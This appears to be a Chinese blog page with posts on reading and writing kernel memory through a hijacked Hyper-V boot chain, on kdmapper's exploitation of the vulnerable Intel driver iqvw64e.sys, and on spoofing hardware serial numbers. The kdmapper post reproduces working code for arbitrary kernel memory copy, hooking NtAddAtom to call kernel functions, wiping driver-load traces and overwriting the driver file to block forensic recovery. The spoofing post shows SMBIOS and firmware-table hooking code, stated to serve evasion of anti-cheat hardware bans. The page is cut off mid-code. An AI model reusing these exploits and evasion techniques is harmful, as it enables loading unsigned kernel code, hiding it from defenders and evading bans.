分类: 未分类

  • 世界,您好!

    欢迎使用 WordPress。这是您的第一篇文章。编辑或删除它,然后开始写作吧!

  • 电影站

    https://www.moxy.top/

  • 从 UEFI 劫持启动链实现 Hyper-V 内核读写无需加载驱动

    本文档介绍基于 noahware/hyper-reV 的虚拟内存访问类 GuestMemory,以及用于定位目标进程 CR3、EPROCESS、PEB、模块基址的四个内核工具函数。

    1. 源码Hyper_rw-main

    此项目依赖特定的Windows版本(Windows11 25H2,如果版本不匹配会造成此项目无法运行,请修改GetM中的Offsets &PsActiveProcessHead offset:0xF05790 in Hyper_rw.cpp ) 。


    1. 核心工具函数

    这些函数依赖 PsActiveProcessHead,用于从内核侧定位进程的关键结构。

    GetProcessCr3

    参数target_pidps_active_process_head
    返回:CR3(DirectoryTableBase)
    遍历 ActiveProcessLinks,根据 PID 返回该进程的页表基址。

    FindProcessEProcessBase

    参数:同上
    返回:EPROCESS 内核虚址
    适合需要访问 Token、HandleTable 等字段时使用。

    FindPebByCr3_Raw

    参数target_cr3ps_active_process_head
    返回:PEB 用户层虚址
    通过 CR3 反查 EPROCESS,再读取 Peb 字段;不依赖 PID。

    GetModuleBase_Raw

    参数target_cr3peb_addressmodule_name
    返回:DllBase
    遍历 PEB 的 Ldr 模块链表,查目标 DLL。


    2. GuestMemory

    GuestMemory 封装 VA→PA 转换、跨页处理,是用户态访问目标进程虚拟内存的主要接口。

    构造方式

    GuestMemory mem( target_cr3);  // 绑定页表

    2. ReadValue / WriteValue

    int hp = 0;
    mem.ReadValue<int>(0x7FF70010, hp);

    3. 调用流程概述

    1. 获取 PsActiveProcessHead

    2. 获取目标 CR3

    3. 初始化 GuestMemory

    4. 查找 PEB

    5. 查找目标 DLL

    6. 使用 GuestMemory 读写目标地址

    BSD 2-Clause License (Clear Attribution Required)

    Copyright (c) [2025], [wz5200]
    All rights reserved.

    Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

      1. Source code redistributions must retain the above copyright notice, this list of conditions, and the following disclaimer.
      2. Binary redistributions must reproduce the above copyright notice, this list of conditions, and the following disclaimer in the documentation and/or other materials provided with the distribution.
      3. All redistributions must clearly attribute the original author ([wz5200]) in any public or private use of this software.

     

  • 无”痕”加载驱动模块之漏驱利用(下)

    无”痕”加载驱动模块之漏驱利用(下)

    回顾傀儡驱动加载致命缺点

    x64上微软增加了驱动签名机制,我们的傀儡驱动依旧需要签名,虽然泄露的sha1签名目测来看能用到微软倒闭,或者花钱买一张白签名(干坏事会被吊销)但是依然存在问题,如果能让微软的白驱动“帮忙”加载我们的功能驱动就好了。

    kdmapper漏驱利用

    早期驱动开发安全意识不足,导致很多微软或第三方常用驱动存在可利用漏洞,像知名的永恒之蓝漏洞或者罗技驱动利用。

    kdmapper也是如此

    项目:https://github.com/TheCruZ/kdmapper

    无

    kdmapper加载驱动原理与傀儡驱动一致都是内存加载,不过傀儡驱动换成了漏驱自己,自带白签。

    项目功能与漏驱解析

    1.初见漏驱

    漏驱为iqvw64e.sys是英特尔(Intel)网卡设备的一个驱动程序文件,被放在资源中,我们把它扒出来进行分析。

    无

    无

    标准的驱动入口,没有任何壳或者加密,就差给pdb了。

    无

    创建设备链接,记住名字等下要在3环建立连接

    无

    无

    注册了派遣函数对应

    DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateDriver;

    DriverObject->MajorFunction[IRP_MJ_CLOSE] = CloseDriver;

    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ControlDriver;

    我们利用的函数在三个中

    无

    这里有四个分支,项目中表明了是利用第一个,我们就不挨个分析了

    无

    无

    进去第一个函数,根据上下文这里可以猜测a1是一个结构体指针

    无

    2.利用漏驱拷贝和读写任意地址

    	bool MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size);
    bool ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size);

    ReadMemory中调用了MemCopy

    bool intel_driver::MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size) {
    	if (!destination || !source || !size)
    		return 0;
    
    	COPY_MEMORY_BUFFER_INFO copy_memory_buffer = { 0 };
    
    	copy_memory_buffer.case_number = 0x33;
    	copy_memory_buffer.source = source;
    	copy_memory_buffer.destination = destination;
    	copy_memory_buffer.length = size;
    
    	DWORD bytes_returned = 0;
    	return DeviceIoControl(device_handle, ioctl1, &copy_memory_buffer, sizeof(copy_memory_buffer), nullptr, 0, &bytes_returned, nullptr);
    }

    无

    无

    对应漏驱中的0x33我们可以看到就是一个简单的拷贝内存函数,利用此函数将想要读的内容拷贝到缓冲区。(没想到这么一个小小的内存拷贝造成了任意地址读写的漏洞),读和写就是反着来,互换下缓冲区地址。

    同理推出结构体a1+16 是要读的地址,a1+24是缓冲区地址,a1+32是要读的长度

    typedef struct _FILL_MEMORY_BUFFER_INFO
    {
    	uint64_t case_number;
    	uint64_t reserved1;
    	uint32_t value;
    	uint32_t reserved2;
    	uint64_t destination;
    	uint64_t length;
    }FILL_MEMORY_BUFFER_INFO, * PFILL_MEMORY_BUFFER_INFO;

    漏驱中还有其他可以直接调用的内核函数不过和主线无模块加载关系不紧密,本文就不放了

    3.hook函数以调用内核函数

    这里是分析的申请内存函数的调用,其他函数同理

    uint64_t AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size);

    uint64_t intel_driver::AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size) {
    	if (!size)
    		return 0;
    
    	static uint64_t kernel_ExAllocatePool = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "ExAllocatePoolWithTag");
    
    	if (!kernel_ExAllocatePool) {
    		Log(L"[!] Failed to find ExAllocatePool" << std::endl);
    		return 0;
    	}
    
    	uint64_t allocated_pool = 0;
    
    	if (!CallKernelFunction(device_handle, &allocated_pool, kernel_ExAllocatePool, pool_type, size, 'BwtE')) //Changed pool tag since an extremely meme checking diff between allocation size and average for detection....
    		return 0;
    
    	return allocated_pool;
    }

    这里先自写了获取内核导出函数,再进行调用

    uint64_t intel_driver::GetKernelModuleExport(HANDLE device_handle, uint64_t kernel_module_base, const std::string& function_name) {
    	if (!kernel_module_base)
    		return 0;
    
    	IMAGE_DOS_HEADER dos_header = { 0 };
    	IMAGE_NT_HEADERS64 nt_headers = { 0 };
    
    	if (!ReadMemory(device_handle, kernel_module_base, &dos_header, sizeof(dos_header)) || dos_header.e_magic != IMAGE_DOS_SIGNATURE ||
    		!ReadMemory(device_handle, kernel_module_base + dos_header.e_lfanew, &nt_headers, sizeof(nt_headers)) || nt_headers.Signature != IMAGE_NT_SIGNATURE)
    		return 0;
    
    	const auto export_base = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    	const auto export_base_size = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
    
    	if (!export_base || !export_base_size)
    		return 0;
    
    	const auto export_data = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(VirtualAlloc(nullptr, export_base_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
    
    	if (!ReadMemory(device_handle, kernel_module_base + export_base, export_data, export_base_size))
    	{
    		VirtualFree(export_data, 0, MEM_RELEASE);
    		return 0;
    	}
    
    	const auto delta = reinterpret_cast<uint64_t>(export_data) - export_base;
    
    	const auto name_table = reinterpret_cast<uint32_t*>(export_data->AddressOfNames + delta);
    	const auto ordinal_table = reinterpret_cast<uint16_t*>(export_data->AddressOfNameOrdinals + delta);
    	const auto function_table = reinterpret_cast<uint32_t*>(export_data->AddressOfFunctions + delta);
    
    	for (auto i = 0u; i < export_data->NumberOfNames; ++i) {
    		const std::string current_function_name = std::string(reinterpret_cast<char*>(name_table[i] + delta));
    
    		if (!_stricmp(current_function_name.c_str(), function_name.c_str())) {
    			const auto function_ordinal = ordinal_table[i];
    			if (function_table[function_ordinal] <= 0x1000) {
    				// Wrong function address?
    				return 0;
    			}
    			const auto function_address = kernel_module_base + function_table[function_ordinal];
    
    			if (function_address >= kernel_module_base + export_base && function_address <= kernel_module_base + export_base + export_base_size) {
    				VirtualFree(export_data, 0, MEM_RELEASE);
    				return 0; // No forwarded exports on 64bit?
    			}
    
    			VirtualFree(export_data, 0, MEM_RELEASE);
    			return function_address;
    		}
    	}
    
    	VirtualFree(export_data, 0, MEM_RELEASE);
    	return 0;
    }

    获取内核导出函数是利用pe解析加上前面的读写漏洞

    	template<typename T, typename ...A>
    	bool CallKernelFunction(HANDLE device_handle, T* out_result, uint64_t kernel_function_address, const A ...arguments) {
    		constexpr auto call_void = std::is_same_v<T, void>;
    
    		//if count of arguments is >4 fail
    		static_assert(sizeof...(A) <= 4, "CallKernelFunction: Too many arguments, CallKernelFunction only can be called with 4 or less arguments");
    
    		if constexpr (!call_void) {
    			if (!out_result)
    				return false;
    		}
    		else {
    			UNREFERENCED_PARAMETER(out_result);
    		}
    
    		if (!kernel_function_address)
    			return false;
    
    		// Setup function call
    		HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    		if (ntdll == 0) {
    			Log(L"[-] Failed to load ntdll.dll" << std::endl); //never should happens
    			return false;
    		}
    
    		const auto NtAddAtom = reinterpret_cast<void*>(GetProcAddress(ntdll, "NtAddAtom"));
    		if (!NtAddAtom)
    		{
    			Log(L"[-] Failed to get export ntdll.NtAddAtom" << std::endl);
    			return false;
    		}
    
    		uint8_t kernel_injected_jmp[] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 };
    		uint8_t original_kernel_function[sizeof(kernel_injected_jmp)];
    		*(uint64_t*)&kernel_injected_jmp[2] = kernel_function_address;
    
    		static uint64_t kernel_NtAddAtom = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "NtAddAtom");
    		if (!kernel_NtAddAtom) {
    			Log(L"[-] Failed to get export ntoskrnl.NtAddAtom" << std::endl);
    			return false;
    		}
    
    		if (!ReadMemory(device_handle, kernel_NtAddAtom, &original_kernel_function, sizeof(kernel_injected_jmp)))
    			return false;
    
    		if (original_kernel_function[0] == kernel_injected_jmp[0] &&
    			original_kernel_function[1] == kernel_injected_jmp[1] &&
    			original_kernel_function[sizeof(kernel_injected_jmp) - 2] == kernel_injected_jmp[sizeof(kernel_injected_jmp) - 2] &&
    			original_kernel_function[sizeof(kernel_injected_jmp) - 1] == kernel_injected_jmp[sizeof(kernel_injected_jmp) - 1]) {
    			Log(L"[-] FAILED!: The code was already hooked!! another instance of kdmapper running?!" << std::endl);
    			return false;
    		}
    
    		// Overwrite the pointer with kernel_function_address
    		if (!WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, &kernel_injected_jmp, sizeof(kernel_injected_jmp)))
    			return false;
    
    		// Call function
    		if constexpr (!call_void) {
    			using FunctionFn = T(__stdcall*)(A...);
    			const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
    
    			*out_result = Function(arguments...);
    		}
    		else {
    			using FunctionFn = void(__stdcall*)(A...);
    			const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
    
    			Function(arguments...);
    		}
    
    		// Restore the pointer/jmp
    		return WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, original_kernel_function, sizeof(kernel_injected_jmp));
    	}

    调用函数是,获取了ntdll.dll中的NtAddAtom函数地址(系统调用)并在内核进行hook

    mov rax, 0x0

    jmp rax

    写入了要执行的函数地址,最后执行再恢复原来的字节码。

    4.漏驱加载流程

    intel_driver::Load 中加载漏驱

    创建链接的名字与IDA中看到的一致

    	HANDLE result = CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    	if (!intel_driver::ClearPiDDBCacheTable(result)) {
    		Log(L"[-] Failed to ClearPiDDBCacheTable" << std::endl);
    		intel_driver::Unload(result);
    		return INVALID_HANDLE_VALUE;
    	}
    
    	if (!intel_driver::ClearKernelHashBucketList(result)) {
    		Log(L"[-] Failed to ClearKernelHashBucketList" << std::endl);
    		intel_driver::Unload(result);
    		return INVALID_HANDLE_VALUE;
    	}
    
    	if (!intel_driver::ClearMmUnloadedDrivers(result)) {
    		Log(L"[!] Failed to ClearMmUnloadedDrivers" << std::endl);
    		intel_driver::Unload(result);
    		return INVALID_HANDLE_VALUE;
    	}
    
    	if (!intel_driver::ClearWdFilterDriverList(result)) {
    		Log("[!] Failed to ClearWdFilterDriverList" << std::endl);
    		intel_driver::Unload(result);
    		return INVALID_HANDLE_VALUE;
    	}

    这里在清理记录驱动加载和卸载链表中的记录

    kdmapper::MapDriver 函数执行功能驱动的加载,也是模拟pe内存拉伸,不过功能用的漏驱功能。

    intel_driver::Unload 加载完功能驱动立马卸载并清理注册表

    这里有个有意思的点,为了防止文件被恢复,用生成的随机数覆盖了文件

    	std::ofstream file_ofstream(driver_path.c_str(), std::ios_base::out | std::ios_base::binary);
    	int newFileLen = sizeof(intel_driver_resource::driver) + (((long long)rand()*(long long)rand()) % 2000000 + 1000);
    	BYTE* randomData = new BYTE[newFileLen];
    	for (size_t i = 0; i < newFileLen; i++) {
    		randomData[i] = (BYTE)(rand() % 255);
    	}
    	if (!file_ofstream.write((char*)randomData, newFileLen)) {
    		Log(L"[!] Error dumping shit inside the disk" << std::endl);
    	}
    	else {
    		Log(L"[+] Vul driver data destroyed before unlink" << std::endl);
    	}
    	file_ofstream.close();
    	delete[] randomData;
    
    	//unlink the file
    	if (_wremove(driver_path.c_str()) != 0)
    		return false;

    漏驱加载和卸载分别调用如下函数

    	extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING DriverServiceName);
      extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING DriverServiceName);

    5.总结

    1.项目大致如此,篇幅原因很多细节没来得及展示,自行下载项目学习。

    2.如果单单从无签名加载驱动上看,与”上”的技术并无本质区别。但经过分析此项目,你会发现对漏洞利用的巧妙与学习扩展思路。

    低版本系统漏驱加载演示

    无

    无

    6.未来与展望

    无

    无

    在最新的win11 22h2上微软终于把这个万人骑的漏驱签名拉黑(遥遥落后于反作弊和杀软)

    那么该怎么办呢(思考)?

    1.替换成没被拉黑的签名(这样就没意义了与“上”中的傀儡驱动并无差别)

    2.windows签名拉黑在本地,不过加了保护。

    3.发展新的可利用的漏驱动(随着xxxxx安全意识提高,可利用的越来越难找)

    4.自己制造漏驱

    5.各位自己发挥吧,找到了记得开源。

    驱动文件

    1765377030-iqvw64e

  • 获得并修改硬件序列号–CPU、主板、内存、硬盘等(有源码)

    获得并修改硬件序列号–CPU、主板、内存、硬盘等(有源码)

    大家都知道很多Anti Cheat会封硬件序列号,所以本文探索一下如何get and modify序列号。

    这个服务是比较贵的:

    获得并修改硬件序列号--CPU、主板、内存、硬盘等(有源码)        获得并修改硬件序列号--CPU、主板、内存、硬盘等(有源码)

    于是有了研究一下的想法。

     

    思路:

    1. 通过厂商自带的程序刷新固件。

    2. 自己写驱动修改。

    思路1不讨论,要拿到厂商去修改,很不方便。这里重点讨论思路2。

    思路2是通过修改SMBIOS表,有两种方法,一种需要开机自启动,一种不需要,后面会介绍。

    SMBIOS:

    SMBIOS(System Management BIOS)是主板或系统制造者以标准格式显示产品管理信息所需遵循的统一规范。

    而DMI(Desktop Management Interface, DMI) 就是帮助收集电脑系统信息的管理系统。

    DMI信息的收集必须在严格遵照SMBIOS规范的前提下进行。

    两种方法都需要解析SMBIOS。

    一、先介绍不需要重启的方法:

    1.从物理内存 0x000F0000-0x000FFFFF 之间寻找关键字 “ _SM_” 。

    2.找到后再向后16个字节,看后面5个BYTE是否是关键字“_DMI_”,如果是,EPS表即找到。

    EPS表结构中16H以及18H处,得出数据表长度和数据表地址,即可通过地址访问 SMBIOS 数据结构表。

    SMBIOS表结构由头和体组成,其中头的结构定义如下:

    获得并修改硬件序列号--CPU、主板、内存、硬盘等(有源码)

    体的结构由头的TYPE字段决定,如下:

    获得并修改硬件序列号--CPU、主板、内存、硬盘等(有源码)

    其中TYPE 0结构是BIOS information,TYPE 1结构是SYSTEM Information,其它类型大家查阅我附件里的文档。

    总之是依据文档标准去解析。这里给出关键代码:

    获得并修改硬件序列号--CPU、主板、内存、硬盘等(有源码)

    从而找到EPS和SMBIOS表。然后修改SMBIOS表中的字段。

    这样可以修改CPU、主板、内存、硬盘序列号

    由于篇幅关系,先介绍到这里,具体代码见附件:GetSMBiosRing0.zip。

    效果如下:

    获得并修改硬件序列号--CPU、主板、内存、硬盘等(有源码)

    图右侧显示BIOS模式为”传统”,代表BIOS,非UEFI。

    二、再介绍需要重启的方法:

    1.

    先是想注册回调来修改,通过NtSetSystemInformation函数的

    SystemRegisterFirmwareTableInformationHandler,见下面的WRK代码:

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    NTSTATUS
    NTAPI
    NtSetSystemInformation (
        __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
        __in_bcount_opt(SystemInformationLength) PVOID SystemInformation,
        __in ULONG SystemInformationLength
        )
    /*++
    Routine Description:
        This function set information about the system.
    Arguments:
        SystemInformationClass - The system information class which is to
            be modified.
        SystemInformation - A pointer to a buffer which contains the specified
            information. The format and content of the buffer depend on the
            specified system information class.
        SystemInformationLength - Specifies the length in bytes of the system
            information buffer.
    Return Value:
        Returns one of the following status codes:
            STATUS_SUCCESS - Normal, successful completion.
            STATUS_ACCESS_VIOLATION - The specified system information buffer
                is not accessible.
            STATUS_INVALID_INFO_CLASS - The SystemInformationClass parameter
                did not specify a valid value.
            STATUS_INFO_LENGTH_MISMATCH - The value of the SystemInformationLength
                parameter did not match the length required for the information
                class requested by the SystemInformationClass parameter.
            STATUS_PRIVILEGE_NOT_HELD is returned if the caller does not have the
                privilege to set the system time.
    --*/
    {
        BOOLEAN Enable;
        KPROCESSOR_MODE PreviousMode;
        NTSTATUS Status;
        ULONG TimeAdjustment;
        PSYSTEM_SET_TIME_ADJUST_INFORMATION TimeAdjustmentInformation;
        HANDLE EventHandle;
        PVOID Event;
        ULONG LoadFlags = MM_LOAD_IMAGE_IN_SESSION;
        PAGED_CODE();
        //
        // Establish an exception handle in case the system information buffer
        // is not accessible.
        //
        Status = STATUS_SUCCESS;
        try {
            //
            // Get the previous processor mode and probe the input buffer for
            // read access if necessary.
            //
            PreviousMode = KeGetPreviousMode();
            if (PreviousMode != KernelMode) {
                ProbeForRead((PVOID)SystemInformation,
                             SystemInformationLength,
                             sizeof(ULONG));
            }
            //
            // Dispatch on the system information class.
            //
            switch (SystemInformationClass) {
            case SystemFlagsInformation:
                if (SystemInformationLength != sizeof( SYSTEM_FLAGS_INFORMATION )) {
                    return STATUS_INFO_LENGTH_MISMATCH;
                }
                if (!SeSinglePrivilegeCheck( SeDebugPrivilege, PreviousMode )) {
                    return STATUS_ACCESS_DENIED;
                }
                else {
                    ULONG Flags;
                    Flags = ((PSYSTEM_FLAGS_INFORMATION)SystemInformation)->Flags &
                             ~(FLG_KERNELMODE_VALID_BITS | FLG_BOOTONLY_VALID_BITS);
                    Flags |= NtGlobalFlag & (FLG_KERNELMODE_VALID_BITS | FLG_BOOTONLY_VALID_BITS);
                    NtGlobalFlag = Flags;
                    ((PSYSTEM_FLAGS_INFORMATION)SystemInformation)->Flags = NtGlobalFlag;
                }
                break;
    ...... 省略
    case SystemRegisterFirmwareTableInformationHandler:
                Status = ExpRegisterFirmwareTableInformationHandler(SystemInformation,
                                                                    SystemInformationLength,
                                                                    PreviousMode);
                break;

    编写代码:

     

    1
    2
    3
    4
    5
    6
    TableHandler.ProviderSignature = 'RSMB';    // (Raw SMBIOS)
    TableHandler.Register = TRUE;
    TableHandler.FirmwareTableHandler = &WmipRawSMBiosTableHandler1;
    TableHandler.DriverObject = g_PnpDriverObject;
    ntStatus = funZwSetSystemInfomation(SystemRegisterFirmwareTableInformationHandler,
       (PVOID)&TableHandler, sizeof(SYSTEM_FIRMWARE_TABLE_HANDLER));

    发现ntStatus没有成功,返回STATUS_OBJECT_NAME_EXISTS,对象已经存在。

    于是尝试先删除已经存在的,TableHandler.Register设置为FALSE:

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    VOID WmipRegisterFirmwareProviders()
    {
        // Register the SMBIOS raw provider.
       TableHandler.ProviderSignature = 'RSMB';    // (Raw SMBIOS)
       TableHandler.Register = FALSE;
       TableHandler.FirmwareTableHandler = &WmipRawSMBiosTableHandler1;
       TableHandler.DriverObject = g_PnpDriverObject/*IoPnpDriverObject*/;
       ntStatus = funZwSetSystemInfomation(SystemRegisterFirmwareTableInformationHandler,
       (PVOID)&TableHandler, sizeof(SYSTEM_FIRMWARE_TABLE_HANDLER));
       TableHandler.ProviderSignature = 'RSMB';    // (Raw SMBIOS)
       TableHandler.Register = TRUE;
       TableHandler.FirmwareTableHandler = &WmipRawSMBiosTableHandler1;
       TableHandler.DriverObject = g_PnpDriverObject;
       ntStatus = funZwSetSystemInfomation(SystemRegisterFirmwareTableInformationHandler,
       (PVOID)&TableHandler, sizeof(SYSTEM_FIRMWARE_TABLE_HANDLER));
    }

    发现还是删除不了Raw SMBIOS,第一次funZwSetSystemInfomation返回STATUS_INVALID_PARAMETER,

    第二次返回STATUS_OBJECT_NAME_EXISTS。

    然后查看上面ZwSetSystemInfomation对SystemRegisterFirmwareTableInformationHandler的处理

    代码如下:

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    NTSTATUS
    ExpRegisterFirmwareTableInformationHandler(
        IN OUT PVOID SystemInformation,
        IN ULONG SystemInformationLength,
        IN KPROCESSOR_MODE PreviousMode
        )
    /*++
    Description:
        This routine registers and unregisters firmware table providers.
    Parameters:
        SystemInformation       - points to the SYSTEM_FIRMWARE_TABLE_HANDLER 
                                  structure.
        SystemInformationLength - returns the number of bytes written on success. if
                                  the provided buffer was too small, it returns the 
                                  required size.
        PreviousMode            - Previous mode (Kernel / User).
    Return Value:
        STATUS_SUCCESS                  - On success.
        STATUS_PRIVILEGE_NOT_HELD       - If caller is from User mode.
        STATUS_INFO_LENGTH_MISMATCH     - Buffer too small.
        STATUS_INSUFFICIENT_RESOURCES   - On failure to allocate resources.
        STATUS_OBJECT_NAME_EXISTS       - Table already registered.
        STATUS_INVALID_PARAMETER        - Table not found / invalid request.
    --*/
    {
        
        BOOLEAN                             HandlerFound = FALSE;
        PSYSTEM_FIRMWARE_TABLE_HANDLER_NODE HandlerListCurrent = NULL;
        PSYSTEM_FIRMWARE_TABLE_HANDLER_NODE HandlerListNew = NULL;
        NTSTATUS                            Status = STATUS_SUCCESS;
        PSYSTEM_FIRMWARE_TABLE_HANDLER      SystemTableHandler = NULL;
        PAGED_CODE();
        if (PreviousMode != KernelMode) {
                Status = STATUS_PRIVILEGE_NOT_HELD;
        else {
            if ((!SystemInformation) || 
               (SystemInformationLength < sizeof(SYSTEM_FIRMWARE_TABLE_HANDLER))) {
                Status = STATUS_INFO_LENGTH_MISMATCH;
            else {
                //
                // Grab the resource to prevent state change via reentry.
                //
                KeEnterCriticalRegion();
                
                ExAcquireResourceExclusiveLite(&ExpFirmwareTableResource, 
                                               TRUE);
                
                SystemTableHandler = (PSYSTEM_FIRMWARE_TABLE_HANDLER)SystemInformation;
                
                EX_FOR_EACH_IN_LIST(SYSTEM_FIRMWARE_TABLE_HANDLER_NODE,
                                    FirmwareTableProviderList,
                                    &ExpFirmwareTableProviderListHead,
                                    HandlerListCurrent) {
                    if (HandlerListCurrent->SystemFWHandler.ProviderSignature == SystemTableHandler->ProviderSignature) {
                        HandlerFound = TRUE;
                        break;
                    }
                }
                //
                // Handler was not found and this is a register request, so
                // allocate a new node and insert it into the list.
                //
                
                if ((!HandlerFound) && (SystemTableHandler->Register)) {
                    //
                    // This is a new Firmware table handler, allocate 
                    // the space and add it to the list.
                    //
                    HandlerListNew = ExAllocatePoolWithTag(PagedPool, 
                                                           sizeof(SYSTEM_FIRMWARE_TABLE_HANDLER_NODE),
                                                           'TFRA');
                    
                    if (HandlerListNew) {
                        //
                        // Populate the new node.
                        //
                        HandlerListNew->SystemFWHandler.ProviderSignature = SystemTableHandler->ProviderSignature;
                        HandlerListNew->SystemFWHandler.FirmwareTableHandler = SystemTableHandler->FirmwareTableHandler;
                        HandlerListNew->SystemFWHandler.DriverObject = SystemTableHandler->DriverObject;
                        InitializeListHead(&HandlerListNew->FirmwareTableProviderList);
                        
                        //
                        // Grab a reference to the providers driverobject so that the
                        // driver does not get unloaded without our knowledge. The 
                        // handler must first be unregistered before unloading. 
                        //
                        ObReferenceObject((PVOID)HandlerListNew->SystemFWHandler.DriverObject);
                        //
                        // Update the LinkList.
                        //
                        InsertTailList(&ExpFirmwareTableProviderListHead, 
                                       &HandlerListNew->FirmwareTableProviderList);
                    else {
                        Status = STATUS_INSUFFICIENT_RESOURCES;
                    }
                    
                else if ((HandlerFound) && (!(SystemTableHandler->Register))) {
                
                    //
                    // Check to make sure that a matching driver object was sent in.
                    //
                    if (HandlerListCurrent->SystemFWHandler.DriverObject == SystemTableHandler->DriverObject) {
                        //
                        // Remove the entry from the list.
                        //
                        RemoveEntryList(&HandlerListCurrent->FirmwareTableProviderList);
                        
                        //
                        // Deref the device object.
                        //
                        ObDereferenceObject((PVOID)HandlerListCurrent->SystemFWHandler.DriverObject);
                        //
                        // Free the unregistered list element.
                        //
                        ExFreePoolWithTag(HandlerListCurrent, 'TFRA');
                    else {
                        Status = STATUS_INVALID_PARAMETER;
                    }
                else if ((HandlerFound) && (SystemTableHandler->Register)) {
                    //
                    // A handler for this table has already been registered. return 
                    // error.
                    //
                    Status = STATUS_OBJECT_NAME_EXISTS;
                else {
                    Status = STATUS_INVALID_PARAMETER;
                }
                    
                ExReleaseResourceLite(&ExpFirmwareTableResource);
                KeLeaveCriticalRegion();
            }
        }
      
        return Status;
    }

    从上面返回的STATUS_OBJECT_NAME_EXISTS错误码和EX_FOR_EACH_IN_LIST代码:

     

    1
    2
    3
    4
    5
    6
    7
    8
    EX_FOR_EACH_IN_LIST(SYSTEM_FIRMWARE_TABLE_HANDLER_NODE,
                                    FirmwareTableProviderList,
                                    &ExpFirmwareTableProviderListHead,
                                    HandlerListCurrent) {
    if (HandlerListCurrent->SystemFWHandler.ProviderSignature == SystemTableHandler->ProviderSignature) {
        HandlerFound = TRUE;
        break;
    }

    推断出WmipRegisterFirmwareProviders函数中的g_PnpDriverObject不对。WRK中IoPnpDriverObject未导出。

    2.Hook ExpFirmwareTableProviderListHead指针来修改硬件Id:

    核心代码来自UC论坛,我对代码进行了简单的修改:

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    BOOL HookWmipRawSMBiosTable()
    {
       PLIST_ENTRY pExpFirmwareTableProviderListHead = NULL;
       PSYSMODULELIST pSysModuleList = NULL;
       static UCHAR signature[] = "\x48\x8B\x05\x00\x00\x00\x00\x48\x83\xC0\xE8";
       static UCHAR signature2[] = "\x48\x8B\x0D\x00\x00\x00\x00\x48\x83\xC1\xE8";
       pSysModuleList = GetModuleList();
       if (!pSysModuleList)
           return FALSE;
       ULONG_PTR ulNtoskrnlBase =0, ulNtoskrnlSize = 0;
       FindModuleByName(pSysModuleList, "ntoskrnl.exe", &ulNtoskrnlBase, &ulNtoskrnlSize);
       IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER*)(ulNtoskrnlBase);
       IMAGE_NT_HEADERS *kernelImage = (IMAGE_NT_HEADERS*)(ulNtoskrnlBase + dos->e_lfanew);
       //PIMAGE_SECTION_HEADER pFirstSection = (PIMAGE_SECTION_HEADER)(g_ntoskrnl + 1);
       // 
       // 获取DOS头部
       IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)ulNtoskrnlBase;
       // 检查DOS头部的标志是否符合PE格式
       if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
           return FALSE;
       }
       // 计算PE头部的地址
       IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)((DWORD_PTR)ulNtoskrnlBase + dosHeader->e_lfanew);
       // 检查PE头部的标志是否符合PE格式
